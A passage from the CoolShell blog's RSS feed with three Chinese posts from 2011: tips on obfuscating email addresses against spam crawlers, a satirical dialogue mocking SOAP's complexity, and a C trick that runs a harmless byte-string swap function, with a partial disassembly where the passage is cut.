align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3605.html\">为什么中国的网页设计那么烂？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3605.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>139</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何“加密”你的email地址</title>\n\t\t<link>https://coolshell.cn/articles/3595.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3595.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 27 Jan 2011 05:03:06 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[email]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3595</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>现在在网上要小心，无论是保护好你的用户名和帐号，还是我们的电子邮件地址。在网上有很多爬虫程序专爬我们的电子邮件地址，一量被爬中了，那么你的邮箱里就是一堆又一堆的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3595.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3595.html\">如何“加密”你的email地址</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>现在在网上要小心，无论是<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">保护好你的用户名和帐号</a>，还是我们的电子邮件地址。在网上有很多爬虫程序专爬我们的电子邮件地址，一量被爬中了，那么你的邮箱里就是一堆又一堆的垃圾邮件，就好像我的haoel(at)hotmail.com一样，在7、8年前，每天几千封的垃圾邮件。现在hotmail的垃圾邮件过滤得好一些了，不过也有每天40封左右的垃圾邮件。但是我们在自己的网页上又需要发布自己的email地址。所以我们需要搞乱我们的邮件地址，就像那种非常规的<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">搞乱代码一样</a>。不过，我们还需要能认人读的出来。</p>\n<p>一般来说，在网上现在很普遍的做法是——</p>\n<ul>\n<li>1）用图片，可以用PHP动态生成那个验证码式的。</li>\n<li>2）把@变成at，把点变成dot，如 haoel(at)hotmail(dot)com之类的。</li>\n<li>3）把a变成@，写成haoel@hotm@mail.com</li>\n</ul>\n<p>不过这些还是能被爬到，用图片的方法不利于用户拷贝粘贴。下面介绍几种方法：</p>\n<h4>第一种：使用CSS样式</h4>\n<p><strong>反转字序</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\nspan.codedirection { unicode-bidi:bidi-override; direction: rtl; }\n&lt;p&gt;&lt;span&gt;moc.liamtoh@leoah&lt;/span&gt;&lt;/p&gt;</pre>\n<p><span id=\"more-3595\"></span></p>\n<p><strong>加入些不显示的字符串</strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">p span.hide { display:none; }\n&lt;p&gt;foo@bar&lt;span class=&quot;hide&quot;&gt;null&lt;/span&gt;.baz&lt;/p&gt;</pre>\n<h4>第二种：使用Javascript</h4>\n<p>最为简单的方法是：</p>\n<p>[javascript]document.write(&quot;haoel&quot; + &quot;@&quot; + &quot;hotmail&quot; + &quot;.&quot; + &quot;com&quot;);[/javascript]</p>\n<p>或是：</p>\n<p>[javascript]&lt;script type=&quot;text/javascript&quot;&gt;<br />\n&lt;!&#8211;<br />\n\tvar string1 = &quot;@&quot;;<br />\n\tvar string2 = &quot;haoel&quot;;<br />\n\tvar string3 = &quot;hotmail.com&quot;;<br />\n\tvar string4 = string2 + string1 + string3;<br />\n\tdocument.write(&quot;&lt;a href=&quot; + &quot;mail&quot; + &quot;to:&quot; + string2 + string1 + string3 + &quot;&gt;&quot; + string4 + &quot;&lt;/a&gt;&quot;);<br />\n//&#8211;&gt;<br />\n&lt;/script&gt;[/javascript]</p>\n<p>不过更为强大的是使用ROT13加密，这里有一个<a href=\"http://rot13.de/\" target=\"_blank\">ROT13的在线工具</a>，或是使用PHP的ROT13的函数<a href=\"http://ch2.php.net/str_rot13\" target=\"_blank\">str_rot13</a>。</p>\n<p>[javascript]&lt;script type=”text/javascript”&gt;<br />\ndocument.write(“&lt;n uers=\\&quot;znvygb:unbry@ubgznvy.pbz\\&quot;&gt;”.replace(/[a-zA-Z]/g,<br />\nfunction(c){return String.fromCharCode((c&lt;=”Z”?90:122)&gt;=(c=c.charCodeAt(0)+13)?c:c-26);}));<br />\n&lt;/script&gt;陈皓的电子邮件&lt;/a&gt;[/javascript]</p>\n<p>这些方法还是很有效果的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg\" alt=\"CSDN明文口令泄露的启示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6193.html\" class=\"wp_rp_title\">CSDN明文口令泄露的启示</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3595.html\">如何“加密”你的email地址</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3595.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>13</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>SOAP的S是Simple</title>\n\t\t<link>https://coolshell.cn/articles/3585.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3585.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 27 Jan 2011 00:47:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[SOAP]]></category>\n\t\t<category><![CDATA[WDSL]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3585</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>曾经有一个争论，一边是站在SOAP这边的人，另一边则是其它人。 站在SOAP这边人，当他们在争论SOAP和Web Service框架的复杂度时，SOAP这边的人...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3585.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>曾经有一个争论，一边是站在SOAP这边的人，另一边则是其它人。 站在SOAP这边人，当他们在争论SOAP和Web Service框架的复杂度时，SOAP这边的人说，在引入那些WS-*东东之前，SOAP的确是简单的，这就是为什么SOAP的第一个字母S就是Simple。</p>\n<p>在2000年的时候，有一个苦恼的程序员，</p>\n<p><strong>程序员</strong>: 不好意思，我的老板这周末去打高尔夫了，现在我不得不要搞一个SOAP的应用，但是我根本不知道什么是SOAP。SOAP专家，你能帮我吗？</p>\n<p><strong>SOAP专家</strong>: 当然可以。首先，我要告诉你，SOAP 就是 Simple Object Access Protocol.</p>\n<p><strong>程序员</strong>: 哦，那么说来，他是简单的罗？</p>\n<p><strong>SOAP专家</strong>: 简单的就像星期天一样，我的朋友。</p>\n<p><strong>程序员</strong>: OK，快跟我说说。</p>\n<p><strong>SOAP专家</strong>: 好，就像他的名字一样，SOAP用为远程对象访问。</p>\n<p><strong>程序员</strong>: 像CORBA一样？</p>\n<p><strong>SOAP专家</strong>: 正是如此，就是像 CORBA，只是更简单。不需要复杂的传输协议，还要设置防火墙，SOAP用的是HTTP。而且我们用的是XML作为传输数据格式而不是二进制。</p>\n<p><span id=\"more-3585\"></span></p>\n<p><strong>程序员</strong>: 听起来很不错哦，告诉我它是怎么工作的？</p>\n<p><strong>SOAP专家</strong>: 没问题。首先，有一个SOAP信封，其相当的简单。就是一个XML文件由head和body组成。在body中进行你的RPC调用。</p>\n<p><strong>程序员</strong>: 哦，这就是所有的RPC的东西？</p>\n<p><strong>SOAP专家</strong>: 确对是的。就像我所说的，你的RPC调用的方法名和其参数都需要写的这个XML文档的body中。方法名是在最外层的tag，每一个嵌套的子tag就是其参数。并且所有参数的类型都可以被指定，请看能规格说明书的第五节。</p>\n<p><strong>程序员</strong>: (阅读第五节) 还好，不算太坏。</p>\n<p><strong>SOAP专家</strong>: 现在，当你的服务开发完后，你需要指定endpoint.</p>\n<p><strong>程序员</strong>: Endpoint?</p>\n<p><strong>SOAP专家</strong>: Endpoint, 就是服务的地址。你需要使用HTTP的 POST 方法把SOAP 信封放到 endpoint的 URL.</p>\n<p><strong>程序员</strong>: 如果我使用HTTP的GET方法什么怎么样？</p>\n<p><strong>SOAP专家</strong>: 不知道，使用GET的行为 undefined.</p>\n<p><strong>程序员</strong>: 哼哼。那么，要是我把我的服务移到别的 endpoint上？我是否可以得到一个301错误？</p>\n<p><strong>SOAP专家</strong>: 不会的，SOAP不会返回HTTP的错误码。</p>\n<p><strong>程序员</strong>: 那么，当你说SOAP使用HTTP，你的意思是说SOAP在HTTP打了个洞？</p>\n<p><strong>SOAP专家</strong>: 哦，别说得那么难听，应该说， SOAP 是一个传输协议。</p>\n<p><strong>程序员</strong>: HTTP 就不是吗？那是应用层的协议啊。总之，SOAP支持了别的什么传输协议？</p>\n<p><strong>SOAP专家</strong>: 官方地来说没有。但是你可以潜在地支持任何的协议。而且有许多的平台支持JMS，FTP还有SMTP。</p>\n<p><strong>程序员</strong>: 有人用那那些协议吗？</p>\n<p><strong>SOAP专家</strong>: 嗯，没有。不过，我想表达的是，你能够。</p>\n<p><strong>程序员</strong>: 好吧。关于 SOAPAction HTTP header，这是用来做什么的？</p>\n<p><strong>SOAP专家</strong>: 老实说，没人真正的知道。</p>\n<p><strong>程序员</strong>: 那么，那些 ‘actor’ 和 ‘mustUnderstand’ 属性，是否有人用呢？</p>\n<p><strong>SOAP专家</strong>: 没有，真的没人用。你就忽略这些东西吧。</p>\n<p><strong>程序员</strong>: 好吧，让我现读一读SOAP的规格说明书。</p>\n<p>(程序员阅读中……)</p>\n<p><strong>程序员</strong>: 好了，我现在几乎可以做个简单的东西了，但是我不能说我喜欢这个远程过程调用RPC的方法以及其序列化对象的方式 。</p>\n<p><strong>SOAP专家</strong>: RPC！对象序列化！你从哪得到的SOAP就是一堆RPC的这种印象？! SOAP是关于基于文档的消息传递啊，我的朋友。</p>\n<p><strong>程序员</strong>: 但是，这是你说的……</p>\n<p><strong>SOAP专家</strong>: 忘了我所说的吧。现在，让我们谈谈消息传递吧。其消息格式遵守XML Schema，我们把之称为新型的文件格式。</p>\n<p><strong>程序员</strong>: XML Schema?</p>\n<p><strong>SOAP专家</strong>: 哦，这是很不错的东西，未来的头等技术，你应该看一下。</p>\n<p><strong>程序员</strong>: (阅读 Schema 规格说明书). 上帝保佑我们！就算是亚历山大帝也搞不定它啊。</p>\n<p><strong>SOAP专家</strong>: 不必太担心。会有专门的工作为你来创建XML Schema。真的，这只不过就是工具上的事。</p>\n<p><strong>程序员</strong>: 工具是怎么做的？</p>\n<p><strong>SOAP专家</strong>: 好吧，他们反映了你的代码，并自动生成Schema。</p>\n<p><strong>程序员</strong>: 反映了我的代码？我以为这只是文档，而不是对象序列化。</p>\n<p><strong>SOAP专家</strong>: 你没听我说吗？这只不是工具上的事。总之，我们不能期望你来手写 XML Schema 和 WSDL。另外，这其实就是一种校正测量。你不需要读的。</p>\n<p><strong>程序员</strong>:  喔喔，等一下，你刚才说的那个单词是什么？ Wizzdle?</p>\n<p><strong>SOAP专家</strong>: 哦，我没有说过吗？WSDL. Web Services Description Language. 它让你指定你的数据类型，参数，操作名，传输绑定，以及endpoint URI，这样，所有的客户程序员就可以访问你的服务了。你应该看看。</p>\n<p><strong>程序员</strong>: (阅读WSDL 规格说明书)。我相信那个写下这个文章的人已经被枪杀了。其内部说明都不一致。而且，其用的是HTTP GET绑定，你不是和我说过， GET 是 undefined吗.</p>\n<p><strong>SOAP专家</strong>: 不必担心那个，没人会用那玩意。总之，工具会帮你生成WSDL，而且在WDSL里会有Schema的。</p>\n<p><strong>程序员</strong>: 但是，不应该用别的方法吗？不应该是先设计好接口然后再是生成代码吗？</p>\n<p><strong>SOAP专家</strong>: 是的，我猜那在原则上听起来是对的。但做起来并不容易，只有很少的SOAP栈支持先开发WSDL。让工具为这个事操心去吧。</p>\n<p><strong>程序员</strong>: 还有一个问题。如果我们传递 XML Schema 的消息，我们在哪里指写操作名？</p>\n<p><strong>SOAP专家</strong>: 好吧，你还记得 SOAPAction HTTP header吗? 绝大多数的人把操作名放在那里。</p>\n<p><strong>程序员</strong>: 大多数人？</p>\n<p><strong>SOAP专家</strong>: 嗯，这种新型并不会被写在所有的地方。</p>\n<p><strong>程序员</strong>: 我注意到你们整个SOAP界有很多的模糊和歧意，有些地方还是错的，并没有标准的规格说明书。实际上， SOAP 和 WSDL 规格说明书只是 W3C 的笔记罢了，连草稿都不是。</p>\n<p><strong>SOAP专家</strong>: 我们还在继续中。</p>\n<p><strong>程序员</strong>: 这个真的能行吗？能承诺吗？</p>\n<p><strong>SOAP专家</strong>: 绝对没有问题。</p>\n<p><strong>程序员</strong>: 好吧，那我去试试。</p>\n<p>(不久以后……)</p>\n<p><strong>程序员</strong>: 事情变得很恶心。我这边的工具生成的WDSL居然不能被我同事的工具使用。还不仅仅是这个，其生成的XML Schemas 无法重用。而且，好像没有工具可以最好的处理SOAPAction header.</p>\n<p><strong>SOAP专家</strong>:  很报歉，兄弟。在光明的那一面，没人用这些文件。为了让传输独立，我们所有人都用包装好的文件。听着是不是很酷：包装好的文件？</p>\n<p><strong>程序员</strong>: 那是什么？</p>\n<p><strong>SOAP专家</strong>: 就像是原来那样，只不过，你整个消息被 包装起来成一个元素，其和操作有一样的名字。现在操作名和消息成了一体了。</p>\n<p><strong>程序员</strong>: 好吧，请问说明书在哪里？</p>\n<p><strong>SOAP专家</strong>: 哦，没有规格说明书。这只是Microsoft自己搞的。不过应该是个很不错的主意，挺不错的。然后，这是一个新玩意。我想你一定会喜欢它的—— Web Services Interoperability Group，简称 WS-I，它就是为了移除 SOAP 和 WSDL 规格说明书中的那些歧义。我知道你有多么喜欢规格说明书。</p>\n<p><strong>程序员</strong>: 所以，换句话说，原来的那些规格说明书太糟糕了，以致于你需要一个标准化的东西来标准化这些标准。上帝啊。好吧，那么，是否这些协调问题被 解决了？</p>\n<p><strong>SOAP专家</strong>: 当然，只要你使用 WS-I 的 SOAP 栈，就可以减少使用80%的 XML Schema，别用任何不同寻常的数据类型，也别期望可以和WebSphere和 Apache Axis一起运行。</p>\n<p><strong>程序员</strong>: 那么，是否包装的文件被在那里被解释了？</p>\n<p><strong>SOAP专家</strong>: 没有，但是你的工具会明白的。绝大多数，总之。</p>\n<p><strong>程序员</strong>: 让我总结一下，SOAP的定义是不变的，SOAP可以是任何东西，但就是简单，它不再意味着对象访问，就算是所有的工具都那样做。</p>\n<p><strong>SOAP专家</strong>: 基本上是对的，但是我们走得比你要远一些。我们不赞成SOAP缩写的含义。</p>\n<p><strong>程序员</strong>: 真的！那么SOAP是什么的缩写？</p>\n<p><strong>SOAP专家</strong>: 什么也不是，就是SOAP.</p>\n<p><strong>程序员</strong>: (无语中……)</p>\n<p><strong>SOAP专家</strong>: 下面让我来告诉你什么是 UDDI。</p>\n<p>（注：我以前还认真地学过SOAP，不过真是学不懂。）</p>\n<p>原文：<a href=\"http://harmful.cat-v.org/software/xml/soap/simple\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"那些炒作过度的技术和概念\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_title\">那些炒作过度的技术和概念</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"信XML，得自信\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_title\">信XML，得自信</a></li><li ><a href=\"https://coolshell.cn/articles/2504.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" alt=\"信XML，得永生！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2504.html\" class=\"wp_rp_title\">信XML，得永生！</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3585.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言函数实现的另类方法</title>\n\t\t<link>https://coolshell.cn/articles/3572.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3572.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 26 Jan 2011 05:38:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3572</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在前面看过那个BT的Javascript程序后，我们来看一个C语言的，相信大家还记得输出从1到1000的数最后的那个示例，本站还有很多这样的示例，如：变态的he...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3572.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3572.html\">C语言函数实现的另类方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在前面看过那个<a href=\"https://coolshell.cn/articles/3540.html\" target=\"_blank\">BT的Javascript程序</a>后，我们来看一个C语言的，相信大家还记得<a title=\"输出从1到1000的数\" href=\"https://coolshell.cn/articles/3445.html\" target=\"_blank\">输出从1到1000的数</a>最后的那个示例，本站还有很多这样的示例，如：<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">变态的hello word</a>，<a href=\"https://coolshell.cn/articles/2420.html\" target=\"_blank\">如何教新手编程</a>，<a href=\"https://coolshell.cn/articles/1724.html\" target=\"_blank\">还有恐怖的C++</a>，在下面这个示例面前，神马都是浮云。</p>\n<p>下面这个示例向你展示了如何写一个swap()函数（把两个值交换），这段代码在我的Linux下的 gcc v4.1.1下可以正确编译通过，连一个Warning都没有，而且可以正确工作。我能说什么？！C语言并不疯狂，疯狂的是程序员。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nvoid(*swap)() = (void(*)()) &quot;\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3&quot;;\n\nint main(){ // works on GCC 3+4\n        int a = 37, b = 13;\n        swap(&amp;a, &amp;b);\n\n        printf(&quot;%d %d\\n&quot;,a,b);\n}</pre>\n<p>其实，这种<strong>用字符串来实现函数的方法</strong>，在原理上是很好理解的。</p>\n<p><span id=\"more-3572\"></span></p>\n<p>字符串就是一段内存空间，把一个字符串指针强转成函数指针，那么这个指针所指向的内容就是各种指令，因此，那堆乱七八糟的东西说白了就是汇编。8086的汇编。你可以使用<span style=\"font-family: Consolas, Monaco, 'Courier New', Courier, monospace; line-height: 18px; font-size: 12px; white-space: pre;\">ndisasm</span>来看看。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># ruby -e &quot;print \\&quot;\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3\\&quot;&quot; | ndisasm -u -\n\n00000000  8B442404          mov eax,[esp+0x4]       ; load pointers to two parameters into eax, ebx\n00000004  8B5C2408          mov ebx,[esp+0x8]\n\n00000008  8B00              mov eax,[eax]           ; load values of two parameters from pointers (*eax, *ebx) into eax, ebx\n0000000A  8B1B              mov ebx,[ebx]\n\n0000000C  31C3              xor ebx,eax             ; swap two values (eax, ebx) using xor trick\n0000000E  31D8              xor eax,ebx\n00000010  31C3              xor ebx,eax\n\n00000012  8B4C2404          mov ecx,[esp+0x4]       ; load pointer to param 1 into ecx\n00000016  8901              mov [ecx],eax           ; store swapped value 1 (eax) into param 1 (*ecx)\n\n00000018  8B4C2408          mov ecx,[esp+0x8]       ; load pointer to param 2 into ecx\n0000001C  8919              mov [ecx],ebx           ; store swapped value 2 (ebx) into param 2 